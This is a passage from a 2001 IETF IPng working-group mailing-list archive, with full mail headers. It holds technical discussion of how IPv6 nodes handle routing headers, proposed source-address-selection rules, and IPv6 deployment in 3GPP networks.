(8.9.3+Sun/8.9.3) with ESMTP id LAA01919; Wed, 12 Dec 2001 11:45:00 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBCIilb20867; Wed, 12 Dec 2001 20:44:47 +0200 Date: Wed, 12 Dec 2001 20:44:46 +0200 (EET) From: Pekka Savola To: Robert Elz cc: Erik Nordmark , Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: <2183.1008149469@brandenburg.cs.mu.OZ.AU> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 12 Dec 2001, Robert Elz wrote: > Date: Tue, 11 Dec 2001 19:05:37 +0100 (CET) > From: Erik Nordmark > Message-ID: > > | It isn't obvious to me from reading RFC 2460 whether a host can drop packets > | with routing headers instead of resubmitting them for transmissing to the > | next hop. > [snip] > There is though a different, related, question - one where what 2460 says > is applicable ... that is whether a host implementation should simply drop > packets containing source routes, rather than forwarding them. > > Here we get the questions of the conformance of the implementation to the > spec. > > And there I think the answer is a clear no - implementations are required > to be at least capable of processing routing headers (even in hosts). The last sentence IMO doesn't answer the real question. I think it's quite clear that all nodes must support routing headers, that is, recognize the header type, be able to parse it, not send ICMP parameter problem packets back to the source, etc. The real question how one processes a datagram with a routing header when the forwarding of routing headers has been disabled. This issue is not mentioned in the specification (one could argue it should not be). The options basically are: 1) ignore the routing header, that is, act like segments left would have been = 0 2) drop the packet silently 3) drop the packet and send back an ICMP message - with some already defined type/code - with some new type/code -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 11:15:42 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCJFfvU028205 for ; Wed, 12 Dec 2001 11:15:41 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCJFfWc028204 for ipng-dist; Wed, 12 Dec 2001 11:15:41 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCJFevU028197 for ; Wed, 12 Dec 2001 11:15:40 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBCJF0NE021495 for ; Wed, 12 Dec 2001 11:15:00 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBCJF0lQ021494 for ipng@sunroof.eng.sun.com; Wed, 12 Dec 2001 11:15:00 -0800 (PST) Received: from jurassic.eng.sun.com (jurassic [129.146.86.31] (may be forged)) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBLXLvU023794 for ; Tue, 11 Dec 2001 13:33:21 -0800 (PST) Received: from rouget.sun.com (vpn-129-150-5-82.EBay.Sun.COM [129.150.5.82]) by jurassic.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBLXKbG343696 for ; Tue, 11 Dec 2001 13:33:22 -0800 (PST) Message-Id: <5.1.0.14.0.20011211122752.00b19f00@jurassic.eng.sun.com> X-Sender: durand@jurassic.eng.sun.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Tue, 11 Dec 2001 13:27:49 -0800 To: ipng@sunroof.eng.sun.com From: Alain Durand Subject: proposal for text change in source address selection Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk The following text is a suggestion to modify Section 4, rule 8. Previous text: Rule 8: Use longest matching prefix. If CommonPrefixLen(SA, D) > CommonPrefixLen(SB, D), then choose SA. Similarly, if CommonPrefixLen(SB, D) > CommonPrefixLen(SA, D), then choose SB. Rule 8 may be superseded if the implementation has other means of choosing among source addresses. For example, if the implementation somehow knows which source address will result in the "best" communications performance. Proposed test: Rule 8: Use longest matching prefix. If CommonPrefixLen(SA, D) > CommonPrefixLen(SB, D), then choose SA. Similarly, if CommonPrefixLen(SB, D) > CommonPrefixLen(SA, D), then choose SB. Rule 8 may be superseded if the implementation has other means of choosing among source addresses. For example, if the implementation somehow knows which source address will result in the "best" communications performance. Also, an implementation that has knowledge of the prefix lengths associated to the candidate source addresses MAY choose to limit longest prefix match to those particular prefix lengths instead of doing it on the full 128 bits. Rule 9: optional tie breaker If the above rules failed to choose a source address, an implementation MAY either decide to pick a candidate source address randomly or to take the smallest one in the lexicographic order. This rule is optional. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 11:16:58 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCJGwvU028239 for ; Wed, 12 Dec 2001 11:16:58 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCJGvbT028238 for ipng-dist; Wed, 12 Dec 2001 11:16:57 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCJGuvU028231 for ; Wed, 12 Dec 2001 11:16:56 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBCJGVNE021534 for ; Wed, 12 Dec 2001 11:16:31 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBCJGVEi021533 for ipng@sunroof.eng.sun.com; Wed, 12 Dec 2001 11:16:31 -0800 (PST) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBNx2vU024506 for ; Tue, 11 Dec 2001 15:59:02 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA04160 for ; Tue, 11 Dec 2001 15:59:02 -0800 (PST) Received: from motgate3.mot.com (motgate3.mot.com [144.189.100.103]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA04670 for ; Tue, 11 Dec 2001 16:58:43 -0700 (MST) Received: [from pobox3.mot.com (pobox3.mot.com [10.64.251.242]) by motgate3.mot.com (motgate3 2.1) with ESMTP id QAA17615 for ; Tue, 11 Dec 2001 16:49:24 -0700 (MST)] Received: [from brc9exm01.ipsg.mot.com (brc9exm01.ipsg.mot.com [138.242.16.16]) by pobox3.mot.com (MOT-pobox3 2.0) with ESMTP id QAA05459 for ; Tue, 11 Dec 2001 16:48:51 -0700 (MST)] Received: by brc9exm01.ipsg.mot.com with Internet Mail Service (5.5.2654.52) id ; Tue, 11 Dec 2001 15:58:59 -0800 Message-ID: From: Delecki Andrew-Y10658 To: "'Margaret Wasserman'" , Francis Dupont Cc: ipng@sunroof.eng.sun.com Subject: RE: draft-wasserman-3gpp-advice-00.txt Date: Tue, 11 Dec 2001 15:58:51 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2654.52) Content-Type: text/plain Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk All, I wish to clarify that Gi interface is not interface to ISP (Internet Service Provider). Being attached to PLMN is already equivalent to being connected to ISP. Gi allows PLMN user to connect to any external network provided there aren't subscription restrictions. These networks are: internet, intranets, IMS etc. The notion of ISP is changed in packet switched network. Regards, Andrew Delecki Motorola -----Original Message----- From: Margaret Wasserman [mailto:mrw@windriver.com] Sent: Tuesday, December 11, 2001 11:57 AM To: Francis Dupont Cc: ipng@sunroof.eng.sun.com Subject: Re: draft-wasserman-3gpp-advice-00.txt Hi Francis, I'm not sure that I understand that second issue that you raised in your response to the IPv6-3GPP document: At 08:56 AM 12/4/01 , Francis Dupont wrote: >The second concern is a bit different, GGSNs will be the point of >connection to an IP world (the Internet, an Intranet) only if the >regulation bodies are not involved. We already know the vertical >integration in a walled garden dream of telecom operators but >fortunately regulation bodies (like ART in France) are here in >order to require a real open market for IP services. This is not >new and this already happened for ADSL, so I believe we'll get >similar solutions. >If the point of connection to IP is a NAS (Network Access Server) >of an ISP, Are you saying that the regulating bodies in France will require 3GPP providers to go through existing ISPs to get their Internet service? If so, how does this change anything? In our perfect world, 3GPP nodes will be running Internet applications over IPv6. Even if IPv4 connectivity is ultimately provided by an existing ISP, the IPv6 traffic will need to be routed through the GGSN and a transition mechanism (NAT-PT or 6-over-4) will be required to send traffic over the IPv4 Internet. The choice of transition mechanism should probably depend on whether the ultimate destination is an IPv4 node, or an IPv6 node (such as another 3GPP-attached device). >the PDP type of choice should be PPP, just because >PPP/Radius provides a good network access control. Note that >this solves: > - the UE issue because PPP is a very well known protocol > - the network access control issue because PPP has good > authentication-authorization-accounting features (PS: > IP network access control, the radio network access control > should be the job of the SIM based stuff. They have to be > different because the operator and the ISP are not the same entity) > - the GGSN routing issue because if addresses are allocated by ISPs, > the GGSN has to manage a zillion of host (or /64) routes. > - the GGSN to ISP attachement (Gi) because there is no reason to > not reuse the current ADSL solution (ATM (sic!) to BASs). Are you suggesting that the 3GPP should replace the current PDP context concept with PPP? This would be a substantial architectural change to 3GPP, and is outside of the scope of our document. Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 11:17:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCJHMvU028249 for ; Wed, 12 Dec 2001 11:17:22 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCJHLU9028248 for ipng-dist; Wed, 12 Dec 2001 11:17:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCJHJvU028241 for ; Wed, 12 Dec 2001 11:17:19 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBCJGsNE021564 for ; Wed, 12 Dec 2001 11:16:54 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBCJGsUg021563 for ipng@sunroof.eng.sun.com; Wed, 12 Dec 2001 11:16:54 -0800 (PST) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBC0WAvU024910 for ; Tue, 11 Dec 2001 16:32:10 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA12216 for ; Tue, 11 Dec 2001 16:32:11 -0800 (PST) Received: from ftpbox.mot.com (ftpbox.mot.com [129.188.136.101]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA24630 for ; Tue, 11 Dec 2001 16:32:10 -0800 (PST) Received: [from mothost.mot.com (mothost.mot.com [129.188.137.101]) by ftpbox.mot.com (ftpbox 2.1) with ESMTP id RAA13504 for ; Tue, 11 Dec 2001 17:32:09 -0700 (MST)] Received: [from brc9exm01.ipsg.mot.com (brc9exm01.ipsg.mot.com [138.242.16.16]) by mothost.mot.com (MOT-mothost 2.0) with ESMTP id RAA13810 for ; Tue, 11 Dec 2001 17:32:09 -0700 (MST)] Received: by brc9exm01.ipsg.mot.com with Internet Mail Service (5.5.2654.52) id ; Tue, 11 Dec 2001 16:32:08 -0800 Message-ID: From: Hughes John-CJH023 To: "'Margaret Wasserman'" , Juan-Antonio Ibanez Cc: ipng@sunroof.eng.sun.com Subject: RE: Feedback from 3GPP about draft-wasserman Date: Tue, 11 Dec 2001 16:32:07 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2654.52) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Margaret, I agree with you that the router advertisement will be different for each PDP context, after all the RA is the mechanism by which the MS is notified of the prefix which it may use and if /64 is being assigned on a per PDP context basis then each prefix must be different. However for each IPv4 address, there can only be 64k (well 2^16) prefixes where 6to4 is being used. So it is still the case that with 6to4, each IPv4 global address allows 64k PDP contexts per APN to be supported. Having n IPv4 addresses, will allow n x 64k PDP contexts to be supported per APN. I echo a comment by Brian, 6to4 is intended to be a transition mechanism and is not intended for sites with >30 or 40 million users. When IPv6 in 3GPP is that successful where an operator has >30 million IPv6 PDP Contexts, there should exist native IPv6 connections. I do not see your draft preventing the use of 6to4, so long as an operator does not plan using 6to4 as a long term strategy. Regards, John > >Well, all terminals attached to a given APN will receive the > same router > >advertisements from the GGSN, so having two IPv4 global addresses per > >APN would simply mean that each primary PDP context would > get two 6to4 > >addresses, but the limit will still be 64k primary PDP > contexts per APN. > > Why would all terminals attached to a given APN receive the > same router > advertisements? Won't there be multiple PDP contexts associated with > a given APN? If so, the GGSN should be sending different router > advertisements for each PDP context, each containing the prefix(es) > assigned to that particular PDP context. > > Since each prefix will be assigned to one (and only one) PDP > context, I > think that you will have the possibility of assigning 64K > 6to4 addresses > per PDP context, not per APN. > > Am I misunderstanding something? > > Margaret > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 11:59:16 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCJxFvU028398 for ; Wed, 12 Dec 2001 11:59:15 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCJxFKm028397 for ipng-dist; Wed, 12 Dec 2001 11:59:15 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCJxCvU028390 for ; Wed, 12 Dec 2001 11:59:12 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA12226; Wed, 12 Dec 2001 11:59:10 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA01119; Wed, 12 Dec 2001 11:59:08 -0800 (PST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBCJwII18400; Wed, 12 Dec 2001 20:58:18 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id UAA04267; Wed, 12 Dec 2001 20:58:18 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBCJwID25433; Wed, 12 Dec 2001 20:58:18 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112121958.fBCJwID25433@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Pekka Savola cc: Robert Elz , Erik Nordmark , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-reply-to: Your message of Wed, 12 Dec 2001 20:44:46 +0200. Date: Wed, 12 Dec 2001 20:58:18 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: The options basically are: 1) ignore the routing header, that is, act like segments left would have been = 0 2) drop the packet silently 3) drop the packet and send back an ICMP message - with some already defined type/code - with some new type/code => IMHO Robert Elz' answer implicitely suggested 2 (which is what I'd like to recommend too). Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 12:30:17 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCKUHvU028474 for ; Wed, 12 Dec 2001 12:30:17 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCKUHV2028473 for ipng-dist; Wed, 12 Dec 2001 12:30:17 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCKUBvU028466 for ; Wed, 12 Dec 2001 12:30:12 -0800 (PST) Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fBCKTpq18022; Wed, 12 Dec 2001 21:29:51 +0100 (MET) Date: Wed, 12 Dec 2001 21:28:04 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt To: Pekka Savola Cc: Robert Elz , Erik Nordmark , ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > The real question how one processes a datagram with a routing header when > the forwarding of routing headers has been disabled. This issue is not > mentioned in the specification (one could argue it should not be). Agreed. > The options basically are: > > 1) ignore the routing header, that is, act like segments left would have > been = 0 > 2) drop the packet silently > 3) drop the packet and send back an ICMP message > - with some already defined type/code > - with some new type/code Some food for thought: Taking Steve Deering's suggestion into account there seems to be 3 knobs that a node should have: 1. forwarding (or not) packets no explicitly addressed to itself (i.e. is the node a router or not) 2. forwarding (or not) packets with RH where the next hop is outside the node 3. forwarding (or not) packets with a RM where the next hop is the same node For MIPv6 we need knob 3 to be on by default on the MN. For #1: when a host receives a packet not explicitly addressed to itself it must silently drop it. For #2 I don't see anything in RFC 2460 or the icmpv6 draft about sending ICMP error vs. silently dropping. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 13:32:55 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCLWtvU028680 for ; Wed, 12 Dec 2001 13:32:55 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCLWsmE028679 for ipng-dist; Wed, 12 Dec 2001 13:32:54 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCLWpvU028672 for ; Wed, 12 Dec 2001 13:32:51 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA04685 for ; Wed, 12 Dec 2001 13:32:53 -0800 (PST) Received: from mgw-dax2.ext.nokia.com (mgw-dax2.ext.nokia.com [63.78.179.217]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA14381 for ; Wed, 12 Dec 2001 14:32:34 -0700 (MST) Received: from davir02nok.americas.nokia.com (davir02nok.americas.nokia.com [172.18.242.85]) by mgw-dax2.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fBCLXxQ02893 for ; Wed, 12 Dec 2001 15:33:59 -0600 (CST) Received: from daebh001.NOE.Nokia.com (unverified) by davir02nok.americas.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Wed, 12 Dec 2001 15:32:51 -0600 Received: from mvebe001.NOE.Nokia.com ([172.18.140.37]) by daebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.2966); Wed, 12 Dec 2001 15:32:27 -0600 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message Subject: RE: draft-wasserman-3gpp-advice-00.txt MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Wed, 12 Dec 2001 13:32:51 -0800 Message-ID: <4D7B558499107545BB45044C63822DDE2FDFC2@mvebe001.NOE.Nokia.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: draft-wasserman-3gpp-advice-00.txt Thread-Index: AcGCnRR5njvx9u6OEdWxMQAIx6TWeAAsBNzw From: "Soininen Jonne (NET/MtView)" To: "ext Francis Dupont" , "Margaret Wasserman" Cc: X-OriginalArrivalTime: 12 Dec 2001 21:32:27.0765 (UTC) FILETIME=[7F336250:01C18354] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fBCLWpvU028673 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Francis, see my comments bellow: > -----Original Message----- > From: ext Francis Dupont [mailto:Francis.Dupont@enst-bretagne.fr] [snip] > > > If so, how does this change anything? > > => the point of connection to the Internet is not the GGSN, but is > a Network Access Server of an ISP. As ISPs need network access control > (AAA with a stress on the last A :-), the stupid already used solution > is the ADSL one (ADSL has the same requirement for openness), > i.e. PPP. Actually this case was thought already in the early stages of GPRS standardization. The idea could be also that the GGSN would be connected to a company intranet (directly), and the intranet would like to authenticate the user instead of the subscription to the mobile network, which is done by SIM authentication. Actually, it is possible to authenticate the user with PPP even without using the PDP Type PPP. In this case, there is a PPP connection between e.g. the laptop and the mobile phone, but PPP does not go across the air interface. The needed information for performing the authentication is transferred in the PDP Context Activation messages in the protocol configuration options to the GGSN. Then a protocol can be used to give the credentials to the network authenticated to, e.g. Radius. I cannot remember from the top of my head in which document this is, but I can look it up. However, I would not see this as an issue to our document but to 3GPP. 3GPP has to see itself if they are compliant with individual regulatory requirements. I would not think this as a task of the IPv6 WG. > > In our perfect world, 3GPP nodes will be running Internet > applications > over IPv6. > > => it doesn't matter: ISPs will choice how they provide > Internet services > and if they really want to provide a good service (and keep > their customers) > they should provide IPv6 with a transition mechanism for legacy IPv4. > > Even if IPv4 connectivity is ultimately provided by an > existing ISP, the IPv6 traffic will need to be routed through the > GGSN and a transition mechanism (NAT-PT or 6-over-4) will > be required > to send traffic over the IPv4 Internet. The choice of transition > mechanism should probably depend on whether the ultimate > destination > is an IPv4 node, or an IPv6 node (such as another > 3GPP-attached device). > > => what you decribe is "vertical integration", i.e. the dream > of telephants. > But they is a pressure to the other (correct) way from both customers > (they won't understand to get less than ADSL for far more money) and > regulation bodies. I can try to find the "WAP lock" story in English > (an attempt to do vertical integration (aka rempant monopoly) with > WAP, the result was large fines and a very small market). > > >the PDP type of choice should be PPP, just because > >PPP/Radius provides a good network access control. Note that > >this solves: > > - the UE issue because PPP is a very well known protocol > > - the network access control issue because PPP has good > > authentication-authorization-accounting features (PS: > > IP network access control, the radio network access control > > should be the job of the SIM based stuff. They have to be > > different because the operator and the ISP are not > the same entity) > > - the GGSN routing issue because if addresses are > allocated by ISPs, > > the GGSN has to manage a zillion of host (or /64) routes. > > - the GGSN to ISP attachement (Gi) because there is no reason to > > not reuse the current ADSL solution (ATM (sic!) to BASs). > > Are you suggesting that the 3GPP should replace the current PDP > context concept with PPP? > > => no, PPP is already in the concept (there are three PDP > context types: > IPv4, IPv6 and PPP). I think I am somehow missing your point in this later extraction of your mail. As you say these options are available in the standards. Was your point to just note this in the discussion or did you have some other point that you wanted to get through? Cheers, Jonne. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 12 14:12:38 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCMCcvU028730 for ; Wed, 12 Dec 2001 14:12:38 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBCMCbZs028729 for ipng-dist; Wed, 12 Dec 2001 14:12:37 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBCMCYvU028722 for ; Wed, 12 Dec 2001 14:12:34 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA18304 for ; Wed, 12 Dec 2001 14:12:36 -0800 (PST) Received: from zcamail03.zca.compaq.com (zcamail03.zca.compaq.com [161.114.32.103]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA18508 for ; Wed, 12 Dec 2001 15:12:36 -0700 (MST) Received: by zcamail03.zca.compaq.com (Postfix, from userid 12345) id A552511EA; Wed, 12 Dec 2001 14:12:19 -0800 (PST) Received: from taynzmail03.nz-tay.cpqcorp.net (taynzmail03.nz-tay.cpqcorp.net [16.47.4.103]) by zcamail03.zca.compaq.com (Postfix) with ESMTP id 4CA141395; Wed, 12 Dec 2001 14:12:19 -0800 (PST) Received: by taynzmail03.nz-tay.cpqcorp.net (Postfix, from userid 12345) id 6FD83F5E; Wed, 12 Dec 2001 17:12:34 -0500 (EST) Received: from oflume.zk3.dec.com (bryflume.zk3.dec.com [16.141.40.17]) by taynzmail03.nz-tay.cpqcorp.net (Postfix) with ESMTP id 5C137EC6; Wed, 12 Dec 2001 17:12:34 -0500 (EST) Received: from yquarry.zk3.dec.com by oflume.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id RAA0000008822; Wed, 12 Dec 2001 17:11:58 -0500 (EST) Received: from zk3.dec.com by yquarry.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id RAA0000011878; Wed, 12 Dec 2001 17:11:57 -0500 (EST) Message-ID: <3C1927FF.D398A0F@zk3.dec.com> Date: Thu, 13 Dec 2001 15:13:20 -0700 From: Vladislav Yasevich X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.16-acpi i686) X-Accept-Language: en MIME-Version: 1.0 